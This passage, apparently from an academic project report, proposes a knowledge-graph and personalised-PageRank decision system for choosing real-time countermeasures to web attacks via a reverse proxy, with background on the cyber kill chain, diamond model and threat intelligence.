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Abstract

Most companies depend on the Internet in some degree for providing services to
customers or the public.These exposed services are risking continuously attacks
from malicious people. Attackers will attempt to take control of the business assets
in any way possible. This put an enormous strain on the defender both in regard
of resources, advanced security protection and specialized security knowledge.
It is near impossible to manually retrieve data from an active malicious attack
in the short time the connection lasts, therefore autonomous or semi-automated
response options are explored. The goal is to create an conceptual graph based
decision system that can autonomous apply countermeasures based on previous
successes. Commercial security products will often focus on proactive defense
through careful service exposure control and authentication. In recent years we
have seen an increasingly focus on integrating threat intelligence and reputation
based access control. The trend is to do tracking beyond the Internet address and
focus on identifying the specific user device, in addition to deception based de-
fense systems. In this project we suggest that there are two possible solutions for
dealing with malicious Internet activity. Either identify and locate the attacker in
the real world for prosecution or make the attacker identifiable in such a way
that general access to Internet services can be denied. Either way our suggested
solution is to explore autonomous options for countering incoming threats and ac-
cumulate intelligence on the attackers. This project seeks to create a conceptual
graph based decision system by applying the graph algorithm personalised PageR-
ank on threat data stored in a knowledge graph. Through a synthetic data-set we
validate our knowledge graph schema and also contribute with a case study of a
proof of concept implementation.
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Chapter 1

Introduction

1.1 Topic

In order to face the challenge of handling cyber threats in real-time, this project
seeks to develop a threat knowledge graph schema that support graph algorithms
for ranking the most plausible countermeasures to incoming threats. Due to the
volatile nature of continuously incoming network connections and cyber attacks,
an autonomous solution is needed. An autonomous solution should consider a
wide range of factors and criteria before applying countermeasures, in addition
to ranking previous successes. Considering specific attacks and a holistic profile
of an attacker with number of previous successful countermeasures and a suc-
cess weights can make the foundation for an autonomous decision system. The
basis for a future implementation is to accumulate all relevant threat data and
intelligence into a knowledge graph.

If the project is successful in creating a knowledge graph schema that can
utilize graph algorithms for ranking countermeasures it is a step closer to a de-
cision system. The validation of the graph schema is performed on a synthetic
data-set, in addition to a case study that show a proof of concept implementation.
Google has developed a graph algorithm named personalised PageRank [1] that
have already contributed to give Google’s search engine relevant search results to
users. This project explore the validity of using this algorithm on cyber security
operation decisions as well.

1.2 Keywords

firewall threat data,cyber attacks,graph database,graph model, knowledge graph,
graph algorithms, personalised pagerank, decision system, recommender system,
Neo4j, F5 Big-IP
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1.3 Problem Description

Today’s cyberdefense solutions are developing and advancing, but regardless there
are still some fundamental challenges in current solutions. They often base their
protection on a blacklist approach which only block known attacks. Everyone who
has tried to put an new server or service on the Internet knows it’s just a matter of
minutes before someone has detected it and starts knocking on doors so to speak.
In the next hours automated scanning will have gathered and stored information
about this new service in multiple databases around the world (i.e. Shodan [2]).
Reconnaissance will typically reveal both the existence of a specific service as well
as possible vulnerabilities.

Cyber security operations is a full time activity, and require resources and
highly specialised security personnel. There has been in recent years many discus-
sion about lacking skilled security specialists [3]. Beside the need for more people
an increased use of automation would put less strain on a company resources.

Security operations can be perceived within different time-frames in respect
to incoming threats. All preparations and security features applied in order to pre-
pare and prevent cyber attacks, are typically proactive security measures. When
an unfortunate incident have happened we operate after the fact and this falls
into the reactive time-frame category. At this point the focus shifts to mitigating
the attack, patching up vulnerabilities and recover from the consequences of the
attack. In the event that an autonomous cyber defense system could operate in
real-time it opens new options. This would imply that the automated defense sys-
tem have real-time access to all new and ongoing connections between a client
and the company services, which would allow manipulation of connections in real-
time. When we look at this advantage point as a man-in-the-middle operator, this
feature is not very different from what an advanced reverse proxy can do today.
The challenge of handling threats autonomous in real-time has been researched
for Cyber-Physical Systems (CPS), which relies on self-resilience [4]. Not only the
attacker seeks the benefits of automation, the Cybersecurity Operations Centers
(CSOCs) have the same demand especially in regard of the multitude of alerts
and attacks [5].

This project explore the possibility of a conceptual real-time decision system
based on knowledge graphs and graph algorithms. At this point it is assumed that
the more intelligence gathered on an attack and the attacker, the decision system
would have a better chance of making reasonable decisions and performing more
sensible countermeasures. The end goal is improved security and intelligence on
attacks and attackers. The key is that the decision framework needs to calculate
the efficiency of a given countermeasure applied to a given threat indicator input.
With this project, graph decision methods for automated counter-intelligence tar-
geted on the threat actors and their infrastructure is explored.
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1.4 Justification, motivation and benefits

In order for the Internet to be a safe place to deliver services and conduct business,
a certain level of security and credibility is required. Today many businesses are
eager to expose themselves on the Internet, but in that process many neglect the
privacy and security of the users. The complexity and rapid technological devel-
opment make it challenging both for users and companies to navigate safely. One
of the challenges is that hackers may operate anonymously and under the radar
due to the complexity and resource demand required for cybercrime investiga-
tions. Automated real-time security defense systems could help to gain the edge
on attackers both for home users and enterprises. An autonomous intelligence
based response could consider exceedingly more parameters and factors than any
human could and still comply to real-time response.

1.5 Research Question

In this project we develop a knowledge graph schema from real-life cyber threat
data and extend it to handle countermeasures. The goal is to determine to what
degree graph algorithms, and more specific Google’s personalised PageRank can
be applied to make decisions in a cyber threat knowledge graph. Since this project
is a conceptual design of a knowledge graph schema and graph based decision
system there are no relevant research data-sets to work on. We use a synthetic
data-set for validating the knowledge graph schema and a case study of a proof of
concept implementation to validate a future implementation. The synthetic data-
set validates the knowledge graph schema in regard of personalised PageRank
calculations. In other words the ranking of the synthetic data-set based on num-
ber of countermeasure successes and success weights should be reflected in the
personalised PageRank ranking.
The research questions are as follows:

e To what extent can real-life cyber threat data and countermeasures be mod-
elled into a knowledge graph?

e To what degree can the personalised PageRank graph algorithms be used
as a decision model for ranking plausible cyber threat countermeasures in
a knowledge graph?

e To what extent can F5 Big-IP reverse proxy support an implementation of
this decision system?

1.6 Contributions

This project take on one of today’s cyber challenges by researching a conceptual
real-time countermeasure decision systems. Studying real-life threat data the pro-
ject created a knowledge graph schema design applicable for graph algorithms. In
particular we applied the personalised PageRank algorithm, often referred to as
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a topic specific recommender system. The knowledge graph schema was adapted
to function as a generic threat countermeasure decision solution. The knowledge
graph schema is the project’s first contribution.

We created a synthetic data-set of threats and countermeasures built on the de-
veloped knowledge graph schema. The experiments are used to validate the graph
schema design in regard of graph algorithm calculations, as well as fortifying ap-
plication of personalised PageRank as a valid graph algorithm for ranking cyber
threat countermeasures. The generic bias of random walk in personalised PageR-
ank allows multiple options in regard of applying countermeasures (or counter-
intelligence) to specific attacks and attacker profiles. This is the project’s second
contribution.

The third contribution in this project is a case study where we implement a
proof of concept for logging threats in real-time using the developed knowledge
graph schema. This implementation shows that a reverse proxy is applicable for
our needs for real-time access to monitor and manipulate live network connec-
tions between clients and services. The project’s proof of concept implementation
also show some countermeasures examples to state the validity of performing
countermeasures.



Chapter 2

Background

In order to fully understand the perspective and motivation for this project some
background in network and Internet security is provided here. It is recommen-
ded that the reader has achieved a basic understanding of Internet protocols and
network security. This includes an understanding of network communication re-
lated protocols [6] [7] and protocols used by web services [8], as well as a basic
understanding of network security. This chapter will regardless give an quick in-
troduction to network and Internet security in attempt to boost the readers un-
derstanding of this paper.

2.1 Threat Actors

In Hollywood tradition the Internet bad-guys are as diverse as the defenders, but
it is important to understand the motivation and goals of the attacker in order to
perform a comprehensive threat assessment. If you are protecting a house contain-
ing valuables the expensive lock on your door is not helping if the attacker only
want to torch the place. In a similar perspective the defender provide services to
legitimate users, while keeping up service stability, protecting sensitive user data
and company intellectual property. Much of the same challenges faced by the de-
fenders also exists among the attackers. For instance, available resources are a
big factor, as well as the maturity of the criminal ecosystem. There still might be a
lone wolf that happened to have the right skill-set to penetrate your defenses, but
a resourceful attackers (for instance a nation-state) can hire thousands of people
with collectively the right skill-set. Attackers also need infrastructure to achieve
more anonymized and advanced attacks, which of course costs money, at least
when considering that the infrastructure might be burned by the defenders. For
this reason using other people’s infrastructure is cheaper, and there are plenty of
poorly protected devices on the Internet, including badly protected Internet of
Things (IoT) devices. Basically, your smart TV or refrigerator could be a jumping
point for attackers targeting someone’s company. Hacker anonymity on the Inter-
net can be hiding in plain sight and blaming someone else as well as attempt to
be invisible. By all practical accounts nothing and nobody is invincible or invisible
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on the Internet. The use of various anonymization services has grown, including
virtual private networks (VPN), proxies, and Tor. Both attackers and legitimate
users might use these services which give the defenders a challenge.

The security community usually distinguish between general and targeted at-
tacks, which also describe the motivation of the attacker. The first one does not
care about who gets hit and compromised. The latter have motivation and goals
of compromising a specific target that may be relevant to the long-term goals of
the attacker. From the defender perspective, the challenge from general attacks
often depends on who is hit first and if there has been established knowledge on
new attacks. The security community strives to share knowledge of new attacks
and new indicators of compromise (IOC). IOC will typical be any information re-
lated to attackers infrastructure and delivery system as well as malware indicators
allowing security personnel search for compromised devices.

With the knowledge of the risk and threat situation fresh in mind the security
community continuously adapt to keep up with the attackers. Next we will intro-
duce some of the security design and infrastructure that will support defenders
keeping users and services safe from compromise.

2.2 Network Security

There are many different network security designs that can be used for providing
services on the Internet. This section will give some background on some pos-
sible security infrastructure designs and the intentions are to give the reader an
understanding of the perspective of this research project.

First rule of service exposure on the Internet is to minimize the exposure and
attack surface, which can indicate applying firewalls and reverse proxies before
the actual service, i.e. web service. Keep in mind that hackers can both attack
the service implementation and the service through intended functionality. For
instance if the hacker can’t find the proper username and password for accessing
a service, it might find a buffer overflow weakness in the input parameters to
the service allowing execution control of the service process itself. It is therefore
important to distance unauthorized users from the service itself through limited
service exposure. This is where advanced reverse proxies shine through multiple
security features ranging from applying authentication, protocol compliance and
security threat detection. The control mechanism can be as simple as not allowing
certain client IP addresses to connect to the service due to bad reputation gained
through reputation services or open source intelligence (OSINT) sources.

Normally services will be accessible through a fully qualified domain name
(FQDN) for instance www.company.com. FQDN can also be used in the reverse
proxy as a control point as well, since many attackers will start out by doing re-
connaissance on all available IP addresses in a company network segment. It is
by design beneficial to avoid service exposure to general attacks that roams the
whole Internet. Specific services intended for a targeted user segment should have
a unique FQDN and not known to the public. In combination with not allowing
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DNS zone transfers there are a few more steps for attackers before they can target
the service. It is important to underline the fact that obscurity is not security, it
is just a matter of making attackers go through a few more steps that might be
detected.

Minimizing exposure through careful design and access regulations, i.e. lim-
ited exposure and authentication, the defender have more options to detect an
ongoing campaign to target the company resources. Next we will go through some
of the basic security infrastructure that support previous statements.

Enterprise firewalls will often rely on application based policy designs for reg-
ulating specifics in protocols communicated with provided Internet services, for
instance a web service. Typically there will also be application for support for other
protocols useful for regulating either incoming or outgoing traffic. The concept is
to regulate the firewall opening as much as possible in order to avoid attacks or
inappropriate behaviour passing through the firewall. In addition most firewalls
will apply various security features as threat alerts and file analysis through cloud
based sandbox execution for dynamically analysing executable files and making
verdicts if they are indeed malicious or benign. The firewall threat logs will provide
an security specialist with in depth information of incoming attacks. These attacks
can be detected and stopped by either a signature or behaviour based approach.
Firewalls applying static signatures usually have a downside that they need to be
created specific for each attack, which creates a high demand for dynamic up-
dates. One could argue that it is due to the attempt to adapt dynamic defense
strategies we see novel products and methodology on the security market. We
saw the transition from detection threats with intrusion detection systems (IDS)
to preventing attacks in advanced intrusion prevention systems (IPS). In addition
there was a transition between static signatures to focusing on detecting attacks
through lack of application and protocol compliance, and more behaviour based
triggers of compromise [9].

The Figure 2.1 shows a typical concept of Internet threats on the right side,
and the services we need to protect on the left side. In the middle we have our
cyber defenses illustrated by a network firewall. First we need to understand the
company perspective, they capitalize on the availability and quality of provided
services, and optimally this is only provided to legit users. The cyber crime ecosys-
tem also has a strategic goal to capitalize on companies who provide services and
store sensitive information about their intellectual property or customers. In ad-
dition to legal aspects the attackers will try to hide and anonymize themselves in
order to conduct their illegal activity unhindered by law enforcement. Criminals
will also build infrastructure to support their activity in delivering vulnerability
reconnaissance, malware delivery platforms, and botnet support infrastructure.
There are also numerous public services available for hackers to apply in order
to anonymize their presence. Both virtual private networks (VPN) and Tor are
frequently used by both legal users and hackers.

From a defense perspective we stipulate that we have three relevant time-
frame options. First we apply firewall security policy to only expose the relevant
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Figure 2.1: Cyber Security Defense Options

service to Internet, as well as security profiles in order to detect and prevent in-
coming threats to our services. These are typical proactive security defense meas-
ures. It’s all about making the hole in the wall as small as possible and well pro-
tected, that only legitimate traffic is coming through. The saying say that there
is no silver bullet, and this is also true in cyber security. Our next defense option
is related to all the illegal activity that passes through our defenses. In this case
we need to make reactive efforts to detect and respond to these activities, if they
prove to target valid vulnerabilities in our services. In general we seek to defend
against all consequences of illegal activity, which is naturally the motivation for
the individual company. The third option is a real-time decision system that can
autonomously react and manipulate active connections between the client and the
company service. This opens up new defense options for the company, including
counterintelligence options.

Another typical security device supporting service delivery to Internet users
in a secure matter is a advanced reverse proxy. The goal is to both load balance
and regulate the clients access to the service through compliance, authentication
or reputation based filtering to mention some features. These features are part of
setting a security posture towards the connecting clients, in an attempt to allow
only legitimate users and not malicious users. Over the years the use of threat
intelligence has grown in popularity [10]. Including in this term we find both IP
(internet protocol) address reputation which is based on users reporting attacks
and where they are coming from. In reality attacks will often apply anonymiza-
tion services as proxy, VPN and Tor, and these IP addresses will often be flagged
with bad reputation in order to help others protect their services from malicious
users. New trends also apply more advanced features allowing tracking of devices
(i.e. computers and mobile phones) across different IP addresses, this is often re-
ferred to as device tracking [11], or web fingerprinting. The same technology is
also applied to detect malicious bots on the Internet and prohibit access. In our
research we approach or data modelling in a generic way and will therefore not
differentiate between attacker sources whether they have a specific IP address or
a specific device signature.
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2.3 Security Models

Security models help to understand and visualize the data and methodology in
regard of cyber security. They are a common language between security peers
and researcher’s. In our project we seek to understand the cause and effect of
implementing threat countermeasures and counterintelligence measures, in order
to determine methodology of measuring countermeasure success. The decisions
should be measured based on the knowledge and intelligence of the adversaries,
which security models provide a theoretical basis.

2.3.1 Cyber Killchain Model

The cyber kill chain concept by Lockheed Martin [12] explains the possible steps
that an attacker goes through from early reconnaissance to actual taking con-
trol of an asset. The theoretical framework is relevant to this project in regard of
visualization on current threats as well as understanding the attack phases. We
will not go into great detail of this model, but it is mentioned as an important
mindset of cyber security, and in further research and developing the case study
in this paper it becomes more relevant. An important backdrop to applying this
model to adversaries advances is to understand that some attackers are just after
any resource or asset, and others are targeting specific company and information
resources. Therefore we see in general that some attacks are hitting wide any
available targets on the Internet, while other adversaries target specific industries
or companies. Others seek targets that will further down the line benefit in a sec-
ondary attack through a supply chain [13]. Through the project we have seen
attacks that directly attempt to exploit and install malicious software on poten-
tial vulnerable targets, and other attacks that first initiate a reconnaissance and if
found vulnerable then attempts to exploit and install malicious software. Stealthy
adversaries will spend a good time seemingly benign discover available target re-
sources before they escalate into exploitation techniques. In this project we are
motivated by the counterintelligence potential in the attack chain of an attacker.

The first step in this chain is called Reconnaissance. This is the initial attempts
of an adversary to research their targets. The simplest form is network (i.e. TCP/IP)
scanning or requests to public-facing services and infrastructure. From a cyber de-
fense perspective this activity could easily be denied already at this point. Most
firewalls have intrusion prevention systems with capability of detecting and block-
ing this activity per session or the source IP address for a time. In a counterin-
telligence perspective it might be more beneficial to block such activity against
production systems, while allowing the reconnaissance against a false service or a
honeypot services. In this regard a honeypot service could be a simple web services
created just for the purpose of logging incoming requests. From an attacker per-
spective the existence of a service is the first step, then adversaries will attempt to
determine the value of the service with their end-goals in mind. For instance, does
the service contain information that are valuable to the attacker, or someone else



10 BSE: Intelligence Driven Defense

in the criminal ecosystem. The target might just be valuable in respect of building
an adversary infrastructure for further attacks or siphoning computing power. In
any case the attacker will seek to take control of the asset by means of gaining
control through exploiting vulnerabilities or weaknesses in the service or con-
trol mechanism placed by the security defender (i.e. authentication). In the case
an attacker attempts to perform vulnerability reconnaissance the activity might
come from different infrastructure than later exploitation attempts. It might be-
neficial from a counterintelligence perspective to make the attacker think he has
discovered a vulnerable target in order to accumulate further knowledge of the
attacker’s infrastructure and tactics, techniques and procedures (TTPs).

The second step in the kill chain is called Weaponization occurs when an at-
tacker apply tools for use in the intrusion. This could be an exploit, a brute force
attack on a weak authentication solution in a service, or a malware designed to
take control of the target and facilitate the attacker’s needs for control and abuse of
the asset. Another example is a document infused with malicious exploits or mal-
ware. Carefully crafted phishing web pages that intends to shadow well-known
company are often used for luring legitimate users to expose their credentials. In
respect to our project the methodology and tools used might reveal information
about themselves through network communication targeting company services
and reveal potential counterintelligence options.

The third step in the kill chain is called Delivery and is the step where an ad-
versary delivers the weaponized capability into the target environment. There are
multiple delivery methods ranging from email, direct attack on company services
or indirect exploiting users web-browser while they surf the Internet. In our pro-
ject we focus on the direct attacks on the company resources over the Internet.
In this phase the defender might seek options for deception and manipulation of
the attacker, to lure the adversary into a more compromising situation and reveal
more intelligence about the adversary and their infrastructure.

The fourth step in the kill chain is the Exploitation which is often manifested
in technical exploits of vulnerabilities discovered during previous reconnaissance.
This step might reveal sensitive information to the attacker or create a control
opportunity through code execution. As mentioned in the previous step also this
phase of an attack can be used as a counterintelligence opportunity since the
attacker might be motivated to execute after previous acquiring knowledge of a
vulnerable target through reconnaissance or the criminal ecosystem.

The Installation and the fifth step is usually when carefully designed malware
is installed into a system and provide the attacker with a backdoor or a platform
for further reconnaissance and exploitation of internal company resources. In this
project the opportunity to analyse the adversary malware or malicious software is
an counterintelligence opportunity that can contribute to accumulate information
on the adversary.

The sixth step in the kill chain is called Command and Control (C2) provide
a connection between infected targets and the adversary control infrastructure.
The attacker can then dynamically adapt and update their controlled devices with
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new features or execute commands for further attacks against the company infra-
structure. The monitoring and manipulation of nodes in a command and control
network might provide an defender with counterintelligence opportunities and
are in some cases used as a step towards taking down a large criminal network.

The last step in the kill chain is called Actions On Objectives and refer to the
hacker gaining full control to execute their end-goal objectives. The end-goal of a
defender should be not only to defend themselves from an attack, but also seek to
identify the adversary for possible legal prosecutions. These efforts are normally
handled by international entities in a joint force initiative.

In future implementation of a decision system and accumulating intelligence
on cyber adversaries the solution could rely on the cyber kill chain as one method
of visualizing and organizing the attack stages. It is beneficial to have a common
language when discussing information and intelligence with security peers.

2.3.2 Cyber Diamond Model

The cyber diamond model [14] would be interesting as a backdrop on a large
real-life data-set with multiple adversaries and victims (target companies) of an
implemented version of this project. The model is used for intrusion analysis and
can be applied to future implementation of this project’s case study. Through the
gathering of threat intelligence and threat actor intelligence the model could be
used to better understand the accumulated information in respect to capabilities
and tactics, techniques and procedures (TTPs). Figure 2.2 shows the diamond
model. In comparison to the cyber killchain model, the diamond model is not
operating as linear in regard of intrusion analysis.

Adversary

Capability <> Infrastructure

Victim

Figure 2.2: Cyber Diamond Model

An adversary deploys a capability over given infrastructure against a victim.
In a future implementation of our suggested knowledge graph schema the know-
ledge graph would be populated through carefully deployed counterintelligence
measures. Through intelligence the security analyst can reveal more of the given
adversary capability and infrastructure. Our project seeks to determine real-time
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counterintelligence decision options which can determine the appropriate coun-
termeasures for a given threat scenario. The goal is both defense by deflecting
activity towards production services and efficient counterintelligence. In this re-
spect making the adversaries road to their end-goal longer and harder creates
more counterintelligence opportunities as well.

One method to determine the capability of an attacker would be to evalu-
ate the tools, methods and techniques applied. For instance, does the attacker
possess the capability to develop zero day exploits, or do they rely on public avail-
able exploits. Advanced attackers with plenty of resources available could increase
their capability by hiring specialist hackers and software developers. A counter-
part would be single individuals which hacks for fun and only play with public
available exploits.

On the infrastructure side single individuals has limited opportunity to build
advanced infrastructure, while larger criminal organizations have the resources
to build infrastructure to handle malicious attacks on an International scale.

2.3.3 MITRE ATT&CK Framework

Both of the previous models are well known and used in the security community,
the MITRE ATT&CK framework and terminology [15] is also well known among
security professionals. Organizations use the terminology to standardize com-
munity conversations. In respect to this project and future implementations of
cyber intelligence driven decision systems the data is of lower value unless they
can be properly communicated to security peers. Though outside of the scope in
this project further research within this field should strive to make the successful
countermeasure experience accumulated in this decision model as transferable as
possible. In developing countermeasures an implementation could view categor-
ies in the MITRE ATT&CK matrix [16] as an opportunity to counterintelligence
opportunity.

2.4 Threat Intelligence

The term knowledge is power is true for many situations and also in cyber war-
fare. Understanding your enemy is crucial in order to apply educated strategies
to prevent compromise. Knowledge can be applied to a strategic level as tactics,
techniques, and procedure (TTP) in addition to technical levels as knowledge
of compromised devices facilitating attacks and known malware families with a
feature-set defining the risk assessment. Through the years threat intelligence has
been increasingly common applied to several security infrastructure to support
the protection model and methodology. Typically through access control mechan-
isms, in addition to detecting and preventing malicious activity. In comparison the
ability to transform from intelligence supported detection to prevention is highly
dependent on the quality of the threat intelligence. The availability of high quality
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intelligence might be linked to a cost or membership to a closed group sharing in-
telligence. In some cases the use of anonymization of data can be applied in order
to still share intelligence without compromising the source of the information.

Intelligence on a technical level have a short lifetime, this is due to the ever
changing ecosystem. Attackers will change their attack infrastructure as well as
acquire new compromised devices, which again will further attack new devices.
Due to these challenges it is always important to have a quick response to in-
coming attacks in addition to updated threat intelligence feeds. Intelligence will
also typically be gathered by the defender, and using every attack as an opportun-
ity to gather intelligence (counterintelligence) could be achieved by automation.
This conforms with the need for automation in incident response as well. Security
designs should be applied as multiple layers of protection and detection, which
also put pressure on the security defender to detect incident as quick as possible
and apply appropriate mitigation.

In this project we discuss OSINT IP address reputation in perspective of secur-
ity posture and countermeasure escalation. The basic idea of security posture in
this regard is to control or deny access to services from clients with a bad reputa-
tion. IP reputation services are typically provided by various vendors specializing
in this type of intelligence. The IP reputation is also relevant to knowledge of his-
torical malicious activity targeting the company in question. This historical threat
intelligence is also valid for potential differentiating between benign and more
aggressive countermeasures.

2.5 Graph Databases and Algorithms

Graph theory in mathematics is the study of graphs, which is mathematical struc-
tures used to model relationships between objects. A graph is made up of vertices
(also called nodes) and is connected by edges (also called relationships). A graph
with nodes with symmetrical linked relationships are called an undirected graph,
while graphs with asymmetric relationships are called a directed graph.

In a graph database the relationships between nodes are as important as the
nodes. Both nodes and relationships can contain properties which store informa-
tion. This is in contrast to table-centric storage used in traditional structured query
language (SQL) databases.The graph database of choice in this project is the pop-
ular Neo4j graph database, but any graph database that support graph algorithms
could be used. Graph databases embraces the relationships between nodes and
optimally store, process and query connections efficiently. SQL databases query re-
lationships through time expensive JOIN operations, while a graph database store
more efficiently connections alongside the data in the model. According to Neo4j
their native graph database allow access to nodes and relationships in a constant-
time operation fashion with an performance of traversing millions of connections
per second per core. Graph databases excel in managing highly connected data
and complex queries.
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Graph designs store information as properties into both nodes and relation-
ships. In addition every node can be labeled with one or multiple labels that cat-
egorize the type of entity that a node represent. For instance, we could have a
node with the label Movie to contain movies stored in the graph, and another
node labeled Actor to contain information on actors. Typically we would then cre-
ate a node for each movie and a node for each actor and store relevant information
in the respective node properties. A relationship could be used to indicate that an
actor acted in a specific movie.

The following Figure [17] is borrowed from the Neo4j web pages and shows
a illustration of their view on graph data science development and progression.

Steps Forward in Graph Data Science
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Graphs = » Engineering % Learning
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@ & Algorithm Embeddings
Query Based Feature
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Data Science Complexity

Enterprise Delivery

Graph Persistence ) T

Figure 2.3: Neo4j Graph Data Science

Neo4j has developed a graph data science library with many different graph
algorithms. The algorithms are divided into categories which represent different
problem classes. The following is a list of algorithm categories:

Centrality
Community detection
Similarity

Path finding

Link prediction

In this project we focused on the production quality algorithms. One of the pro-
duction quality algorithm in the centrality category is PageRank. The algorithm
has a topic-specific or personalised version which is researched further in this pro-
ject for it’s properties. In the case of graph algorithms that rely on directed graphs
a knowledge graph can be represented differently (i.e relationship direction) in or-
der to accompany the need for specific calculations. This is in Neo4j called named
graphs which projects the graph or part of the graph into memory and this can be
used for graph calculations.

Google introduced PageRank [1] in order to give optimized search results for
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Figure 2.4: PageRank formula

their users. The underlying assumption is that a page is only as important as the
pages that link to it. The PagerRank algorithm measures the importance of nodes
in a graph based on number of incoming relationships and the value of corres-
ponding source nodes. This type of algorithm is also referred to as a recommender
system [18].

The mathematics of PageRank is general and can be applied to any graph or
network in any domain [19]. Developing a cyber threat knowledge graph schema
that can support this algorithm is part of the goal in this project. The random
walk can be biased and we hypothesize that a conceptual ranking of successful
countermeasures is possible.

The following formula is from the Neo4j documentation [20] on their graph
data science library. Since there exists some variations of the PageRank imple-
mentation we chose to be specific about which documentation we referred to in
this paper. The equation is used to iteratively update each node’s PageRank value
until it converges or reach defined maximum number of iterations (default value
is 20).

In this following formula keep in mind that what google refer to as a web page
(A) and web pages referring to web page A, are in graph respects generic nodes.

In the formula in Figure 2.4,

e we assume that a page A has T; to T,, which point to it
e d is a damping factor which we used at default value 0.85
e C(A) is defined as the number of links going out of page A

Personalised PageRank is a version of PageRank which is biased towards a
set of source nodes. This version is sometimes also referred to as topic specific
PageRank. Instead of having a change regulated by the damping factor d to return
arandom web page (node), the algorithm would return web pages (nodes) within
the topic of the search criteria. This means in reality that the calculations will be
biased towards this set of criteria selected source nodes. In our project we use
this feature in order to select the most appropriate countermeasures based on
criteria as attack URL patterns or attacker profile from i.e. HTTP user-agent. Later
in the paper we will discuss the application of this algorithm on our synthetic
data-set and how we seek to use this algorithm as a decision system for a future
autonomous cyber defense framework.
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2.6 Related Work

During our literature research we struggled to find work strongly related to our
research. The topic of autonomous cyber defense contains varies subtopics that
we studied in order to understand the current progress within this field.

The North Atlantic Treaty Organization (NATO) Research Task Group IST-152
has recently published an paper on autonomous Intelligent Cyber-defense Agent
reference architecture [21]. Autonomous Intelligent Cyber-defense Agent (AICA)
will perform autonomous planning and execution. From our research perspective
we have an interest in both the autonomous and the intelligence aspect of this
research. Even if their research focus on military vehicle, vessels and unmanned
aerial vehicle (UAV) the concept might transfer between different projects and
therefore their project’s progress might be worth following.

Our research focus more on autonomous cyber defense in relation to Inter-
net security and maintain service up-time and quality. The adoption of machine
learning (ML) has been applied to multiple domains, and also cyber security and
defense [22]. This paper apply reinforced learning to software-defined network-
ing (SDN), which has grown in popularity. In our research project we seek to find
methods of decision making not obscuring the decision process from the security
professionals. This is why we in our project turn to an increasingly popular topic
of knowledge graphs and graph algorithm.

In every major enterprise today there are Cybersecurity operations centers
(SOCs), which contains numerous of security experts and over the years the in-
terest in automation has increased. In our literature search we found a paper that
attempt to contribute to the debate if these security centers can be fully automated
[23]. Most security incident handling today are a matter of reactive measures after
an malicious activity has happened. In our research project we suggest that for a
real impact into security defense a real-time security defense option are needed.
This is why our proof of concept case study discuss an implementation option in
an advanced reverse proxy solution that can monitor and manipulate live client
connections.

PageRank has been applied within many fields, as well as cyber security. Attack
graphs are used to map vulnerabilities within a network and can be automated.
The complexity can however be challenging and in our literature search we found
a version of PageRank applied to rank the most critical issues in an attack graph
[24]. The topics of interest in this paper includes scalability and multi-stage net-
work cyber attacks.

A class of technology that has emerged within cyber defense is called Adaptive
Cyber Defense (ACD) [25]. The idea is to present adversaries with changing attack
surfaces, and force them to continually re-assess their malicious cyber operations.
This paper research the potential of these methods in order to establish a scientific
foundation so that system resiliency can be defined and quantified. Our research
project falls somewhat into the same category, except it has a more narrow scope
of implementation and knowledge graph aspects. In respect to the ACD concept
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our case study shows a proof of concept that has the ability to dynamically change
the responses to any client requests in real-time.

Self-improving is a key feature in a implementation of a autonomous defense
system [26]. One factor is the learning process and the robustness of the learning
in respect to accumulating the knowledge of best approach for a given situation.
Another factor is the robustness of the system itself from being manipulated by
an adversary artificial intelligence. There could be cases where an attacker may
attempt to turn the decision system against the defender. It might also be crucial
that the learning experience are tangible in such a way that it can be transferred
between systems.

There are various concepts and designs for better cyber security defense, and
moving target defense (MTD) is one of them. In some respects our project defense
strategy goes in the same direction, except that introduce the real-time monitor-
ing and manipulation of client connections to counter malicious activity. Due to
our design of a reverse proxy or similar technology operating as a man-in-the-
middle the defense responses can be adapted and carefully crafted for individual
needs. Due to some of the limitations or challenges to MTD there have been re-
search into dynamic host mutation (DHM) [27]. This paper scope their research
to insider threats, but our project is more generic and not limited because it seek
to be a generic decision system, based on client given input the knowledge graph
will evaluate appropriate responses for any given situation. The project decision
system implementation also benefit from a multi-stage security design not allow-
ing services directly on open IP addresses. In our suggested reverse proxy proof
of concept multiple security checks are natural to implement, which is also com-
monly used in production environments. First the reverse proxy will check for the
appropriate fully qualified domain name, then possible check the start path of
every query, which is natural when for instance an API are exposed. In addition
the reverse proxy technology can check for specific client certificates, JavaScript
support etc. If any of the prerequisites fails the counterintelligence decision sys-
tem can apply appropriate countermeasures. Another technical aspect is the use
of wildcard certificates in order to avoid exposure of legitimate FQDNs. The tech-
niques in the [27] paper can still be applied to create believable duplicates of
production systems in order to handle targeted attacks.

Another paper that is worth mentioning that discuss deception and MTD is
[28]. The topic of honeypots and deception is related to our project in regard of a
category of countermeasures that are plausible in an autonomous cyber defense
arsenal. The paper is part of a book on adaptive strategies for cyber deception and
defense. The topic in general seek dynamic adaptation and avoidance of static
defense strategies, which conforms with out goals in this research project.
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Methods

Our methodology from a bird’s-eye-view is to analyse real-life cyber threat data
and design a knowledge graph schema that can support a graph algorithm based
decision system. The project’s first contribution is the generic cyber threat know-
ledge graph schema. Figure 3.1 shows the research process applied in this project.
From the colorization of the boxes we see that the project consists of four phases.
The first phase is related gathering and understanding real-life threat data ac-
quired from an advanced network firewall. Phase two of the project is related to
work in a Neo4j database. The research on the real threat data was applied to
building a generic cyber threat knowledge graph schema for a threat knowledge
graph. After researching the threat data in the knowledge graph the project fur-
ther researched the graph algorithms in Neo4j, our tool of choice. We verified that
the database schema we created had the potential for supporting the personalised
PageRank algorithm. For our knowledge graph schema validation experiments we
needed something predictable and controllable and we therefore decided to cre-
ate a synthetic data-set. The third colorized phase described in the figure is related
to work on our synthetic data-set and our experiments and results. The fourth and
last phase is work related to the case study of a proof of concept implementation.

19
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Figure 3.1: Research Method

The first phase of the project research the typical network communication
and protocols that are relevant in a cyber attack. The uniqueness of an attack usu-
ally comes apparent in the application layer in the network communication. The
second phase makes the transition from raw threat data into a knowledge graph,
also keeping in mind the application of graph algorithms. The graph schema cre-
ated in this phase is then reused in the experiments on a synthetic data-set in
order to validate the knowledge graph schema for graph algorithms. Last we also
perform a case study on a proof of concept implementation. The knowledge graph
schema is also used in the proof of concept implementation. The proof of concept
implementation is created in order to validate the design criteria of real-time ac-
cess to client network connections to the service for monitoring and manipulation.

During our preliminary research of threat data we early decided to focus on
web related threats since they were the most relevant for a counterintelligence
decision model as well as one of the most popular services on the Internet. It is
assumed at this point that the size of the client feature-set is directly related to
the counterintelligence potential. For instance, if we compare the counterintel-
ligence capability of an SSH client with a web browser we know that the latter
client allows multiple counterintelligence vectors to be executed due to client-side
